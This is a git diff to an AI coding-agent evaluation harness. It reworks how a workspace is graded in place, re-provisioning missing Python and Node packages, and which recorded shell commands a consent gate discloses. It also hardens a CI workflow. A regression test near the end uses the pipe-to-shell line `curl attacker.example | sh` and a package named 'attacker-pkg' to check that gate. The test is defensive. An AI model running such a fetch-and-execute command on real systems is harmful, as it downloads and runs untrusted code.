diff --git a/.claude/notes/isolation.md b/.claude/notes/isolation.md index 56b13447..03dc8bc8 100644 --- a/.claude/notes/isolation.md +++ b/.claude/notes/isolation.md @@ -274,7 +274,9 @@ run's stale `aws_region`. ### Why pre_run and post_run each run exactly once -`adopt()` guarantees it materializes nothing into the workspace, but that guarantee is +`adopt()` never re-runs `pre_run`/`post_run` itself and never stages a template into the +workspace (its own writes are confined to re-provisioning a missing `.venv`/`node_modules` +from `env_packages`, see § Why the venv gets system site packages), but that restraint is only as strong as its weakest caller: `run()` invokes the hooks unconditionally, with `cwd = sandbox_dir`. Several in-tree tasks stage fixtures there (`cp -a /app/[!.]* "$PWD/"`), so re-running `pre_run` during a detached grade would overwrite the agent's deliverables @@ -370,11 +372,23 @@ and derived through the same function `run_evaluation` uses (`_gate_scope_for_gr second copy of the rule keeps answering the old question the moment the default moves: the lever shipped beside an `include_setup_phase` every caller passed as its exact complement, and a caller setting one and forgetting the other would silently drop half of a SECURITY -gate. In place, the grade may dispatch a -CONTAINER built from the recorded sandbox block, a wider capability than any recorded shell -string; on `--copy` instead, `pre_run` and the sandbox's own installers, neither of which an -adopted workspace reaches. `post_run` is in NEITHER set — it belongs to the grading phase -and runs on both paths, so it is scanned unconditionally. +gate. In place, the grade may dispatch a CONTAINER built from the recorded sandbox block, a +wider capability than any recorded shell string; on `--copy` instead, `pre_run` and a +`template_sources` repo's `git clone`, neither of which an adopted workspace reaches. +`env_packages` installs are scanned on BOTH paths — `Sandbox.adopt` can now run them too +(see the bullet below) — and `post_run` is likewise scanned unconditionally, because it +belongs to the grading phase and runs on both paths. See `orchestration.md` § What the gate +covers, and why each part is in scope for the full derivation. + +- **`adopt()`'s `env_packages` re-provisioning is the one place it writes FILES.** Every + other step `adopt` takes is discovery: an existing venv is picked up, never rebuilt, and a + bare `config.python` with empty `env_packages` is a pure no-op. The exception is a + captured or WORKDIR-aligned workspace missing `.venv`/`node_modules` while `env_packages` + is non-empty (see § Why the venv gets system site packages) — `adopt` then runs the same + `_setup_virtualenv`/`_install_packages`/`_install_node_packages` `setup()` uses, and on a + failed install removes exactly what it just created (never the caller's own tree) and + re-raises, so a half-built venv never latches into the workspace being graded and the next + adopt silently discovers it as complete. ## Grading a docker row inside a container @@ -855,6 +869,31 @@ shape this host got is logged rather than left to be inferred. `setup` is: discovering a venv a task never asked for grades it under a PATH it never ran under, and would let an agent shadow binaries by writing `.venv/bin/` into its own workspace. +Discovery alone was not the whole story: `Sandbox.capture_to` (the docker-WORKDIR-alignment +path — Harbor's `CoderEvalAgent`, any `--workspace-dir` execute) excludes `.venv` / +`node_modules` / `.npm-prefix` from the copy-out as noise (`_WORKSPACE_CAPTURE_IGNORE`), so a +workspace adopted from a captured WORKDIR never has one to discover — even though the execute +phase installed `env_packages` into it. Confirmed live: a Harbor E2E scenario's `run_command` +criterion failed `No module named pytest` against a workspace whose agent phase had run +`pytest` successfully moments earlier. `adopt` now falls back to `_setup_virtualenv` + +`_install_packages` (or `_install_node_packages`) whenever the expected directory is missing +AND `env_packages` is non-empty. Reaching this on the Harbor verifier path needed a second, +parallel fix: `_write_verifier_task_yaml` (`harbor/packager.py`) built `tests/task.yaml` with +no `sandbox` key at all, so the verifier graded with `env_packages == []` and this branch was +dead on exactly the scenario above — it now carries `sandbox.python`/`sandbox.node`'s +`env_packages` (nothing else in `sandbox`, which is an agent-phase-only concern there). + +The `env_packages` gate is NOT parity with `setup`, which is worth stating precisely because +it looks like it should be: `setup` (`sandbox.py`) creates a venv for bare `config.python` +unconditionally and gates only the INSTALL on `env_packages`, so `python: {env_packages: []}` +still gets an empty venv (and a populated `VIRTUAL_ENV`/PATH) on the `--copy` path. `adopt` +gates venv creation itself on `env_packages`, so the same config stays a true no-op in place — +deliberately: there is nothing to install, and re-provisioning an empty venv into a workspace +that already ran without one would only shadow the interpreter for no benefit. The two paths +therefore diverge for that one config shape; this is accepted, not accidental. A venv that +already exists (the ordinary `preserve_to` / non-captured path) is still only discovered, +never rebuilt. + The unit test in `tests/test_sandbox.py` reads `pyvenv.cfg`. That proves the flag is set, not that the result is correct. Every task image installs packages globally: the framework image uses `uv pip install --system`, and skillsbench task images use diff --git a/.claude/notes/orchestration.md b/.claude/notes/orchestration.md index a1b10c4c..01063f22 100644 --- a/.claude/notes/orchestration.md +++ b/.claude/notes/orchestration.md @@ -670,8 +670,20 @@ and it prints as the command is already being prepared. ### What the gate covers, and why each part is in scope `include_setup_phase` covers the two capability families that exist only on the `--copy` -path: `pre_run`, and the sandbox's own provisioning. Both are SKIPPED when grading in -place, so on that path they are not a capability the run dir has. +path: `pre_run` and a `template_sources` repo's `git clone`. Both are SKIPPED when +grading in place — the orchestrator never runs `pre_run` there, and `Sandbox.adopt` never +stages a template — so on that path neither is a capability the run dir has. + +**`env_packages` installs are NOT part of `include_setup_phase`, and used to be.** The +premise was "`adopt` runs no installer", true when `adopt` only ever DISCOVERED an +existing `.venv`/`node_modules`. It no longer holds: `adopt` now re-provisions +`env_packages` whenever a captured workspace is missing them (see +`.claude/notes/isolation.md` § Why the venv gets system site packages), so `uv pip +install`/`npm install` are a capability of the IN-PLACE path too — exactly like `post_run` +below. Gating them on `include_setup_phase` would let a shared run directory install +attacker-chosen packages on the grader's host with no consent prompt, simply by omitting +`.venv` from what it shares (which `capture_to` already strips as noise). They are +disclosed unconditionally instead, regardless of `grade_in_place`. **`post_run` is deliberately NOT behind that flag**, and this is the one place the distinction bites. It used to be, back when the hooks were skipped as a pair — but diff --git a/.github/scripts/harbor_e2e.py b/.github/scripts/harbor_e2e.py index 908606ae..24cb0f75 100644 --- a/.github/scripts/harbor_e2e.py +++ b/.github/scripts/harbor_e2e.py @@ -28,6 +28,12 @@ REPO_ROOT = Path(__file__).resolve().parents[2] WORK_DIR = REPO_ROOT / "tmp" / "harbor_e2e" AGENT_IMPORT_PATH = "coder_eval.harbor.agent:CoderEvalAgent" +# Where a failing scenario's full export/ + jobs/ tree gets zipped for upload -- +# a print-statement diagnostic only shows what this script thought to ask for +# (and dies with the runner). A zip preserves everything: docker/agent logs, +# every task.json/trajectory.json, artifacts/ workspaces -- so a failure can be +# inspected after the fact instead of guessed at from stdout. +FAILURE_ARTIFACTS_DIR = REPO_ROOT / "tmp" / "harbor_e2e_failures" @dataclass(frozen=True) @@ -115,13 +121,82 @@ def run_harbor(scenario: Scenario, export_dir: Path, jobs_dir: Path) -> Path: return trial_dirs[0] +def _read_json_best_effort(path: Path) -> object | str | None: + """Read and parse ``path`` as JSON, or a string describing why not. + + Only used to build FAILURE diagnostics: a truncated/missing file must + degrade to a note rather than raise and replace the real reward/criteria + failure this exists to explain -- the same rule ``_zip_scenario_dir`` + already states for itself. + """ + if not path.is_file(): + return None + try: + return json.loads(path.read_text(encoding="utf-8")) + except (OSError, json.JSONDecodeError) as exc: + return f"unreadable ({exc})" + + +def _criteria_detail(verifier_result: object) -> list[dict[str, object]] | None: + """Per-criterion score/detail from a parsed verifier ``task.json``.""" + if not isinstance(verifier_result, dict): + return None + return [ + { + "type": r.get("criterion_type"), + "score": r.get("score"), + "details": r.get("details"), + "error": r.get("error"), + "evaluation_status": r.get("evaluation_status"), + "result_kind": r.get("result_kind"), + } + for r in verifier_result.get("success_criteria_results", []) + ] + + +def _agent_commands(agent_task_jsons: list[Path]) -> list[dict[str, object]] | str: + """The AGENT phase's own recorded tool calls, for a failure message. + + Read directly rather than trusting the verifier's hydration of it: its + `iterations[].commands` is the raw telemetry criteria like + `command_executed` are supposed to hydrate from, so dumping it distinguishes + "no commands were ever recorded" (a hydration/telemetry bug) from "the + recorded commands just didn't match the pattern" (an agent/fixture issue). + """ + if not agent_task_jsons: + return "no agent/task.json found" + agent_result = _read_json_best_effort(agent_task_jsons[0]) + if not isinstance(agent_result, dict): + return f"unreadable: {agent_result!r}" + return [ + {"tool_name": c.get("tool_name"), "parameters": c.get("parameters")} + for it in agent_result.get("iterations", []) + for c in it.get("commands", []) + ] + + def assert_scenario_artifacts(scenario: Scenario, trial_dir: Path) -> None: reward_path = trial_dir / "verifier" / "reward.json" if not reward_path.is_file(): raise RuntimeError(f"[{scenario.name}] missing {reward_path}") reward = json.loads(reward_path.read_text(encoding="utf-8")) + + # Read the per-criterion breakdown ONCE, before the reward gate below, so a + # failing reward's own root cause (which criterion, and why) is always in + # the failure message -- not only when an unrelated criterion happens to + # carry the aggregate to 1.0 "by luck" while this one silently failed. + verifier_task_json = trial_dir / "verifier" / "task.json" + if not verifier_task_json.is_file(): + raise RuntimeError(f"[{scenario.name}] missing {verifier_task_json}") + verifier_result = _read_json_best_effort(verifier_task_json) + criteria_detail = _criteria_detail(verifier_result) + agent_task_jsons = sorted((trial_dir / "agent").glob("**/task.json")) + if reward.get("reward") != 1.0: - raise RuntimeError(f"[{scenario.name}] expected reward 1.0, got {reward!r} ({reward_path})") + raise RuntimeError( + f"[{scenario.name}] expected reward 1.0, got {reward!r} ({reward_path}); " + + f"criteria: {criteria_detail!r}; agent-phase recorded commands: {_agent_commands(agent_task_jsons)!r}" + ) trajectory_path = trial_dir / "agent" / "trajectory.json" if not trajectory_path.is_file(): @@ -130,18 +205,15 @@ def assert_scenario_artifacts(scenario: Scenario, trial_dir: Path) -> None: if "schema_version" not in trajectory: raise RuntimeError(f"[{scenario.name}] {trajectory_path} is missing 'schema_version'") - agent_task_jsons = list((trial_dir / "agent").glob("**/task.json")) if not agent_task_jsons: raise RuntimeError(f"[{scenario.name}] no task.json found under {trial_dir / 'agent'}") - verifier_task_json = trial_dir / "verifier" / "task.json" - if not verifier_task_json.is_file(): - raise RuntimeError(f"[{scenario.name}] missing {verifier_task_json}") + if not isinstance(verifier_result, dict): + raise RuntimeError(f"[{scenario.name}] {verifier_task_json} did not parse as JSON: {verifier_result!r}") # An overall reward of 1.0 does not prove a trajectory criterion was # actually graded -- it could pass "by luck" from unrelated criteria while # this one silently scored 0.0 against an ungraded/empty trajectory. Check # each trajectory-dependent criterion's OWN score directly. - verifier_result = json.loads(verifier_task_json.read_text(encoding="utf-8")) trajectory_results = [ r for r in verifier_result.get("success_criteria_results", []) @@ -161,6 +233,28 @@ def assert_scenario_artifacts(scenario: Scenario, trial_dir: Path) -> None: ) +def _zip_scenario_dir(scenario: Scenario) -> Path | None: + """Zip a failed scenario's whole ``export/`` + ``jobs/`` tree for upload. + + Best-effort: a zip failure must never mask the real scenario failure it was + trying to preserve evidence for. + """ + scenario_dir = WORK_DIR / scenario.name + if not scenario_dir.is_dir(): + return None + try: + FAILURE_ARTIFACTS_DIR.mkdir(parents=True, exist_ok=True) + archive = shutil.make_archive(str(FAILURE_ARTIFACTS_DIR / scenario.name), "zip", root_dir=str(scenario_dir)) + # Broad by intent: e.g. a pre-1980 mtime from a container image layer raises + # ValueError, not OSError, and an undecodable filename raises UnicodeEncodeError. + # Either would otherwise escape from inside main()'s own `except Exception`, + # killing the scenario loop and hiding every scenario after this one. + except Exception as exc: + print(f"[{scenario.name}] could not zip {scenario_dir} for upload: {exc}", file=sys.stderr) + return None + return Path(archive) + + def main() -> int: WORK_DIR.mkdir(parents=True, exist_ok=True) failures: list[str] = [] @@ -175,6 +269,9 @@ def main() -> int: except Exception as exc: print(f"[{scenario.name}] FAILED: {exc}", file=sys.stderr) failures.append(scenario.name) + archive = _zip_scenario_dir(scenario) + if archive is not None: + print(f"[{scenario.name}] full export/+jobs/ tree zipped to {archive} for upload", file=sys.stderr) print("\n=== Summary ===") for scenario in SCENARIOS: diff --git a/.github/workflows/harbor-e2e.yml b/.github/workflows/harbor-e2e.yml index d11933d3..0fcf0143 100644 --- a/.github/workflows/harbor-e2e.yml +++ b/.github/workflows/harbor-e2e.yml @@ -1,18 +1,20 @@ name: Harbor E2E -# Deliberately NOT triggered on pull_request: this exercises real Docker -# builds, a real `harbor` install, and (for the llm_judge scenario) a real -# model call, so it is informational rather than a required PR check for now -# (see .github/scripts/harbor_e2e.py's module docstring). workflow_dispatch -# lets a maintainer run it on demand; the nightly schedule catches drift -# between coder-eval's own release and Harbor's own upstream releases without -# blocking anyone's PR. +# Required on every PR: exercises real Docker builds, a real `harbor` install, +# and (for the llm_judge scenario) a real model call, so it is the one gate +# that actually round-trips a task through Harbor's own export/agent/verifier +# contract rather than coder-eval's in-process tests. workflow_dispatch lets a +# maintainer run it on demand; the nightly schedule catches drift between +# coder-eval's own release and Harbor's own upstream releases even when no PR +# touched anything. on: workflow_dispatch: schedule: - cron: "17 5 * * *" # nightly, off the hour to avoid GitHub's peak-load pile-up push: branches: [main] + pull_request: + branches: [main] concurrency: group: ${{ github.workflow }}-${{ github.ref }} @@ -27,13 +29,16 @@ env: # Anthropic-credit spend off this path; DirectRoute is exercised elsewhere. API_BACKEND: "bedrock" CLAUDE_CODE_USE_BEDROCK: "1" - AWS_BEARER_TOKEN_BEDROCK: ${{ secrets.AWS_BEARER_TOKEN_BEDROCK }} - AWS_REGION: ${{ secrets.AWS_REGION }} - BEDROCK_MODEL: ${{ secrets.BEDROCK_MODEL }} jobs: harbor-e2e: name: Harbor export + CoderEvalAgent round trip + # A fork PR's own workflow, scripts, uv.lock and Dockerfiles all run for a + # `pull_request` event -- and this job does two `docker build`s plus a real + # Bedrock model call. Fork PRs get no secrets (below) so the job cannot pass + # for one anyway; skip rather than run untrusted code on the shared pool and + # leave a required check permanently red for every external contributor. + if: github.event_name != 'pull_request' || github.event.pull_request.head.repo.full_name == github.repository runs-on: uipath-ubuntu-latest timeout-minutes: 20 @@ -88,4 +93,25 @@ jobs: run: docker build -t byod-custom-image:0.1.0 templates/byod_smoke_test/ - name: Run Harbor E2E scenarios + # Bedrock credentials are scoped to this one step, not the workflow-level + # env: above (where earlier revisions left them) -- so npm/pip/docker build + # steps that fetch third-party code never see them in their environment. + env: + AWS_BEARER_TOKEN_BEDROCK: ${{ secrets.AWS_BEARER_TOKEN_BEDROCK }} + AWS_REGION: ${{ secrets.AWS_REGION }} + BEDROCK_MODEL: ${{ secrets.BEDROCK_MODEL }} run: python .github/scripts/harbor_e2e.py + + - name: Upload failing scenario artifacts + # A failing scenario's full export/ + jobs/ tree (docker/agent logs, + # every task.json/trajectory.json, artifacts/ workspaces) zipped by the + # script above -- so a failure can be inspected after the fact instead + # of guessed at from stdout. Empty on a fully green run; `if: failure()` + # still uploads whatever any failing scenario left behind. + if: failure() + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1 + with: + name: harbor-e2e-failure-artifacts + path: tmp/harbor_e2e_failures/ + retention-days: 14 + if-no-files-found: ignore diff --git a/docs/USER_GUIDE.md b/docs/USER_GUIDE.md index 7c3b333a..5099a63c 100644 --- a/docs/USER_GUIDE.md +++ b/docs/USER_GUIDE.md @@ -267,6 +267,11 @@ mode grades **in place**, because copying filters build output — `node_modules `dist`, `build`, `.venv`, `.git` are all on the default ignore list, so a criterion like `test -f dist/bundle.js` would fail as a *copying artifact* rather than as a verdict. Override either default with `--in-place` / `--copy`. +Grading in place can still need network and install time: if the workspace is +missing `.venv`/`node_modules` (the ignore list above stripped them, or the run +was captured across a container boundary) and the task declares +`sandbox.python`/`sandbox.node` `env_packages`, grading re-provisions them before +the criteria run, and can fail the grade outright if that install fails. | Flag | Description | | --- | --- | diff --git a/pyproject.toml b/pyproject.toml index 4e331ce1..655a4fc5 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -326,7 +326,7 @@ line-ending = "auto" [tool.pyright] pythonVersion = "3.13" -include = ["src/coder_eval"] +include = ["src/coder_eval", ".github/scripts"] exclude = [ "data", "tmp", diff --git a/src/coder_eval/cli/evaluate_command.py b/src/coder_eval/cli/evaluate_command.py index 163eeb31..0eb338b0 100644 --- a/src/coder_eval/cli/evaluate_command.py +++ b/src/coder_eval/cli/evaluate_command.py @@ -488,9 +488,11 @@ async def _setup_and_run() -> EvaluationResult: try: result = asyncio.run(_setup_and_run()) - except RegradeError as e: + except (RegradeError, RuntimeError) as e: # Rendered like the three sibling handlers above: unwrapped, these - # operator-facing messages arrived as the tail of a stack trace. + # operator-facing messages arrived as the tail of a stack trace. RuntimeError + # is also caught here: both `Sandbox.setup` and `Sandbox.adopt` can raise one + # from a failed `env_packages` install (network, bad package name, timeout). console.print(f"[red]✗ {escape(str(e))}[/red]") raise typer.Exit(1) from e _report_and_exit(result, task=task, prior=prior, target=target, prepared_run_dir=prepared_run_dir) diff --git a/src/coder_eval/harbor/packager.py b/src/coder_eval/harbor/packager.py index c4e20220..e93a0ef1 100644 --- a/src/coder_eval/harbor/packager.py +++ b/src/coder_eval/harbor/packager.py @@ -338,6 +338,14 @@ def _find_workdir(dockerfile: Path) -> str | None: def _write_verifier_task_yaml(task: TaskDefinition, out_dir: Path) -> None: """``tests/task.yaml`` — the criteria, as authored. It must not set a ``none`` agent type. + Carries ``sandbox.python``/``sandbox.node`` (``env_packages`` only) so + ``Sandbox.adopt`` sees the same package list the agent phase installed: the + verifier grades the agent's workspace in place, and if ``docker-compose``'s + ``WORKDIR`` alignment or ``capture_to`` stripped ``.venv``/``node_modules`` + from it, ``adopt`` re-provisions ONLY when it knows what was there. + Everything else in ``sandbox`` (``driver``, ``docker``, ``template_sources``, + ``mock_path_dirs``) is an agent-phase-only concern and stays out. + Rationale: .claude/notes/reporting.md § The non-obvious constraint in the emitted task.yaml """ payload: dict[str, object] = { @@ -347,6 +355,13 @@ def _write_verifier_task_yaml(task: TaskDefinition, out_dir: Path) -> None: "initial_prompt": _VERIFIER_PLACEHOLDER_PROMPT, "success_criteria": [c.model_dump(mode="json", exclude_none=True) for c in task.success_criteria], } + sandbox_env: dict[str, object] = {} + if task.sandbox.python is not None and task.sandbox.python.env_packages: + sandbox_env["python"] = {"env_packages": list(task.sandbox.python.env_packages)} + if task.sandbox.node is not None and task.sandbox.node.env_packages: + sandbox_env["node"] = {"env_packages": list(task.sandbox.node.env_packages)} + if sandbox_env: + payload["sandbox"] = sandbox_env if task.reference is not None: payload["reference"] = {"directory": "reference"} if task.run_limits is not None: diff --git a/src/coder_eval/orchestration/regrade.py b/src/coder_eval/orchestration/regrade.py index 28e601bf..996176ce 100644 --- a/src/coder_eval/orchestration/regrade.py +++ b/src/coder_eval/orchestration/regrade.py @@ -130,10 +130,14 @@ def _gate_scope_for_grade(task: TaskDefinition, *, grade_in_place: bool, allow_h Both answers follow from ``grade_in_place``, which is why this is one function rather than two arguments threaded past each other: - * ``include_setup_phase`` is ``not grade_in_place``. ``pre_run`` and the - sandbox's own provisioning exist only on the ``--copy`` path; ``adopt`` - runs no installer and the orchestrator skips ``pre_run``, so in place they - are not a capability the run dir has. + * ``include_setup_phase`` is ``not grade_in_place``. ``pre_run`` and + ``template_sources`` (a ``git clone``) exist only on the ``--copy`` path; + the orchestrator skips ``pre_run`` in place and ``adopt`` never stages a + template, so in place neither is a capability the run dir has. + ``env_packages`` installs are NOT part of this flag -- ``adopt`` can now + re-provision them too (a captured workspace missing ``.venv`` / + ``node_modules``), so :func:`embedded_commands` discloses them + unconditionally regardless of ``grade_in_place``. * ``include_container_dispatch`` needs ``grade_in_place`` too, since ``--copy`` is refused by ``grading_sandbox_config`` before it could dispatch anything -- naming the image there would be a refusal for something that never runs. @@ -186,20 +190,18 @@ def embedded_commands( ) -> list[str]: """Every shell command a rebuilt task definition would run on this host. - ``include_setup_phase`` covers the two families that exist only on the - ``--copy`` path: ``pre_run`` and the sandbox's own provisioning. - - ``post_run`` and ``include_container_dispatch`` are deliberately NOT behind - that flag — both are capabilities of the IN-PLACE path, which is the DEFAULT - for a run directory. ``post_run`` is filtered against the operator's own - baseline, because a refusal that fires on every run directory is read as a - formality and waved through. + ``include_setup_phase`` covers only ``pre_run`` and a ``template_sources`` + repo's ``git clone`` -- the two families that exist solely on the ``--copy`` + path. ``env_packages`` installs, ``post_run`` and + ``include_container_dispatch`` are disclosed regardless of it: all three are + capabilities of the IN-PLACE path too, which is the DEFAULT for a run + directory. ``isinstance`` narrowing, never ``getattr(c, "command", None)``: an untyped probe over a discriminated union is invisible to pyright, so a renamed field would silently degrade the only guard on this path to a no-op. - Rationale: .claude/notes/orchestration.md § Embedded commands + Rationale: .claude/notes/orchestration.md § What the gate covers, and why each part is in scope """ from coder_eval.models import ( AgentJudgeCriterion, @@ -229,13 +231,13 @@ def embedded_commands( # Minus the operator's own universal baseline, which the record did not choose. baseline = _operator_baseline_post_run() commands += [c.command for c in task.post_run if c.command not in baseline] + sandbox = task.sandbox + if sandbox.python is not None and sandbox.python.env_packages: + commands.append(f"uv pip install {' '.join(sandbox.python.env_packages)}") + if sandbox.node is not None and sandbox.node.env_packages: + commands.append(f"npm install {' '.join(sandbox.node.env_packages)}") if include_setup_phase: commands += [c.command for c in task.pre_run] - sandbox = task.sandbox - if sandbox.python is not None and sandbox.python.env_packages: - commands.append(f"uv pip install {' '.join(sandbox.python.env_packages)}") - if sandbox.node is not None and sandbox.node.env_packages: - commands.append(f"npm install {' '.join(sandbox.node.env_packages)}") for source in sandbox.template_sources or []: if isinstance(source, RepoSource): commands.append(f"git clone -- {source.url}") @@ -796,7 +798,10 @@ async def _grade_in_container( GRADING pass's fresh directory) at the standard output location, and ``workspace`` (the ORIGINAL run's output) at ``CONTAINER_GRADE_WORKSPACE``. The grade writes its ``task.json`` into the former, which the caller folds back - into the row; the latter is adopted and never written over. + into the row; the latter is adopted, and criteria may still mutate it -- and + ``Sandbox.adopt`` itself may write a re-provisioned ``.venv``/``node_modules`` + into it when the workspace is missing one -- but the write is confined to + exactly that: this is not a template copy, and no unrelated file is replaced. ``task_file`` is required and must EXIST here — testing only for ``None`` was not enough, and failed on exactly the rows this guard was written for. diff --git a/src/coder_eval/sandbox.py b/src/coder_eval/sandbox.py index e1752733..8772eeea 100644 --- a/src/coder_eval/sandbox.py +++ b/src/coder_eval/sandbox.py @@ -265,17 +265,14 @@ def setup(self, target_dir: Path | None = None) -> Path: raise ValueError(f"Unsupported sandbox driver: {self.config.driver}") def adopt(self, workspace: Path) -> Path: - """Use ``workspace`` **as** the sandbox, materializing nothing into it. + """Use ``workspace`` **as** the sandbox, deriving its environment in place. The grade-in-place counterpart to :meth:`setup`: it takes a workspace that already exists -- an ``execute`` run's artifacts, or a verifier's ``/app`` - -- and derives only the *environment* the criteria need (mock-dir ``+x``, - venv discovery, the plugin-tools pin). In-place is more CORRECT here, not - merely faster. - - "Materializing nothing" means it writes no FILES; it does still chmod - ``+x`` over the task's declared mock-PATH directories, a mode change the - criteria need to resolve the same shimmed binaries the agent did. + -- and derives the *environment* the criteria need (mock-dir ``+x``, venv + discovery, the plugin-tools pin, and a re-provisioning fallback when + ``env_packages`` is missing). In-place is more CORRECT here, not merely + faster. The caller keeps ownership: ``_cleanup_on_exit`` stays False, so ``cleanup()`` never deletes an adopted directory. Criteria CAN still @@ -307,21 +304,41 @@ def adopt(self, workspace: Path) -> Path: self._cleanup_on_exit = False self.was_adopted = True - # Only NON-materializing steps below. Deliberately skipped: - # _setup_template (overwrites the tree being graded), - # _generate_cli_recorders (writes shims into it), _setup_virtualenv / - # _install_*_packages (the execute phase provisioned these), and + # Only NON-materializing steps below, EXCEPT the re-provisioning fallback + # just below: _setup_template (overwrites the tree being graded), + # _generate_cli_recorders (writes shims into it), and # _maybe_remediate_home_plugins_pollution (destructive on $HOME, and - # remediation rather than derivation). + # remediation rather than derivation) are still deliberately skipped. self._prepare_mock_path_dirs() - # DISCOVER rather than create, so criteria get the same VIRTUAL_ENV/PATH - # the agent had. Gated on `config.python` for the same reason `setup` is. + # DISCOVER rather than create when the venv survived; re-provision only if + # it is missing AND env_packages is non-empty, so a captured/stripped + # workspace (Sandbox.capture_to drops .venv/node_modules as noise) still + # gets its packages, while the default `env_packages: []` case stays a no-op. + # A failed re-provision must not latch a half-built venv/node_modules into + # this caller-owned workspace: the next adopt would silently DISCOVER it + # and grade against a tree missing some or all of env_packages. # Rationale: .claude/notes/isolation.md § Why the venv gets system site packages if self.config.python: candidate = self.sandbox_dir / VENV_DIRNAME if candidate.is_dir(): self.venv_dir = candidate + elif self.config.python.env_packages: + try: + self._setup_virtualenv() + self._install_packages() + except Exception: + shutil.rmtree(candidate, ignore_errors=True) + self.venv_dir = None + raise + + node_modules = self.sandbox_dir / "node_modules" + if self.config.node and self.config.node.env_packages and not node_modules.is_dir(): + try: + self._install_node_packages() + except Exception: + shutil.rmtree(node_modules, ignore_errors=True) + raise self._check_parent_node_modules_contamination() self._refresh_plugin_tools_dir() @@ -795,13 +812,16 @@ def _setup_virtualenv(self) -> None: # Use uv to create venv cmd = ["uv", "venv", "--system-site-packages", str(self.venv_dir)] subprocess.run(cmd, check=True, capture_output=True, text=True, encoding="utf-8", timeout=60) - except (subprocess.CalledProcessError, FileNotFoundError): + except (subprocess.SubprocessError, FileNotFoundError): # The two paths do not produce the same artifact -- this one seeds pip, # `uv venv` does not -- so say which shape this host got. import venv logger.warning("uv unavailable; created %s with stdlib venv (pip seeded)", self.venv_dir) - venv.create(self.venv_dir, with_pip=True, system_site_packages=True) + try: + venv.create(self.venv_dir, with_pip=True, system_site_packages=True) + except subprocess.SubprocessError as e: + raise RuntimeError(f"Could not create a virtualenv at {self.venv_dir} (ensurepip): {e}") from e def _install_packages(self) -> None: """Install required Python packages in the virtual environment.""" @@ -821,15 +841,15 @@ def _install_packages(self) -> None: env = os.environ.copy() env["VIRTUAL_ENV"] = str(self.venv_dir) env["PATH"] = f"{scripts_dir}{os.pathsep}{env['PATH']}" - except (subprocess.CalledProcessError, FileNotFoundError): + except (subprocess.SubprocessError, FileNotFoundError): # Fallback to regular pip cmd = [str(pip_path), "install", *self.config.python.env_packages] env = None try: subprocess.run(cmd, check=True, capture_output=True, text=True, encoding="utf-8", timeout=300, env=env) - except subprocess.CalledProcessError as e: - raise RuntimeError(f"Failed to install packages: {e.stderr}") from e + except subprocess.SubprocessError as e: + raise RuntimeError(f"Failed to install packages: {getattr(e, 'stderr', None) or e}") from e def _install_node_packages(self) -> None: """Install npm packages locally in the sandbox directory.""" @@ -842,7 +862,7 @@ def _install_node_packages(self) -> None: try: subprocess.run(["bun", "--version"], check=True, capture_output=True, timeout=5) cmd = ["bun", "add", *packages] - except (subprocess.CalledProcessError, FileNotFoundError): + except (subprocess.SubprocessError, FileNotFoundError): cmd = ["npm", "install", *packages] try: @@ -855,8 +875,8 @@ def _install_node_packages(self) -> None: timeout=300, cwd=self.sandbox_dir, ) - except subprocess.CalledProcessError as e: - raise RuntimeError(f"Failed to install node packages: {e.stderr}") from e + except subprocess.SubprocessError as e: + raise RuntimeError(f"Failed to install node packages: {getattr(e, 'stderr', None) or e}") from e # Capture installed versions self._capture_node_tool_versions() diff --git a/tests/harbor_e2e/fixtures/trajectory_criteria.yaml b/tests/harbor_e2e/fixtures/trajectory_criteria.yaml index eafff21f..d57e3d9f 100644 --- a/tests/harbor_e2e/fixtures/trajectory_criteria.yaml +++ b/tests/harbor_e2e/fixtures/trajectory_criteria.yaml @@ -10,7 +10,13 @@ description: > agent: type: "claude-code" permission_mode: "acceptEdits" - allowed_tools: ["Read", "Write", "Bash"] + # Bash only -- no Read/Write/Edit -- so there is no alternative tool the + # agent could use to create done.txt instead of running `touch`. A prior + # version of this fixture allowed Write and asked for file *content*, which + # gave the agent a reason to prefer Write over the shell command this + # scenario exists to exercise; file_exists below never checks content, so + # nothing was gained by asking for it. + allowed_tools: ["Bash"] sandbox: driver: docker @@ -18,8 +24,8 @@ sandbox: image: coder-eval-agent:latest initial_prompt: > - Create a file named done.txt containing the single word "done", then run - `touch done.txt` again to confirm it exists. + Run the shell command `touch done.txt` to create an empty file named + done.txt. success_criteria: - type: "file_exists" @@ -27,6 +33,11 @@ success_criteria: description: "The file done.txt must be created." - type: "command_executed" tool_name: "Bash" - command_pattern: "touch\\s+done\\.txt" + # An optional path prefix (not a bare literal) because the agent legitimately + # runs `touch /work/done.txt` -- its own absolute cwd, not the bare relative + # name -- and real CI reproduced exactly that both times this fixture ran. + # The prefix must end in `/`, so `touch notdone.txt`/`touch xdone.txt` do + # not also match -- only a path ending in exactly `done.txt`. + command_pattern: "touch\\s+(\\S*/)?done\\.txt" min_count: 1 description: "The agent must have run touch done.txt (requires trajectory hydration to grade)." diff --git a/tests/test_detached_grading_boundaries.py b/tests/test_detached_grading_boundaries.py index 1dd5eace..3b049ab6 100644 --- a/tests/test_detached_grading_boundaries.py +++ b/tests/test_detached_grading_boundaries.py @@ -801,13 +801,27 @@ def test_provisioning_alone_triggers_the_refusal(self, tmp_path: Path) -> None: with pytest.raises(RegradeError, match="--allow-recorded-commands"): check_embedded_commands(task, tmp_path, allow_recorded_commands=False) - def test_the_in_place_path_is_exempt(self, tmp_path: Path) -> None: - """`adopt()` installs nothing, so in place these are not capabilities the - run dir has — and refusing there would break the headline flow.""" + def test_env_packages_are_not_exempt_in_place(self, tmp_path: Path) -> None: + """`adopt()` CAN now run installers in place (a captured workspace + missing `.venv`/`node_modules` gets re-provisioned), so unlike `pre_run` + and `template_sources`, an `env_packages` install must not be exempted + from disclosure just because the grade is in place.""" from coder_eval.models import PythonEnvConfig from coder_eval.orchestration.regrade import check_embedded_commands task = self._task_with(python=PythonEnvConfig(env_packages=["attacker-pkg"])) + with pytest.raises(RegradeError, match="--allow-recorded-commands"): + check_embedded_commands(task, tmp_path, allow_recorded_commands=False, include_setup_phase=False) + + def test_pre_run_is_exempt_in_place(self, tmp_path: Path) -> None: + """`pre_run` only runs on the `--copy` path — the orchestrator skips it + in place — so it stays exempt from disclosure there, unlike + `env_packages`.""" + from coder_eval.models import PreRunCommand + from coder_eval.orchestration.regrade import check_embedded_commands + + task = self._task_with() + task.pre_run = [PreRunCommand(command="curl attacker.example | sh")] check_embedded_commands(task, tmp_path, 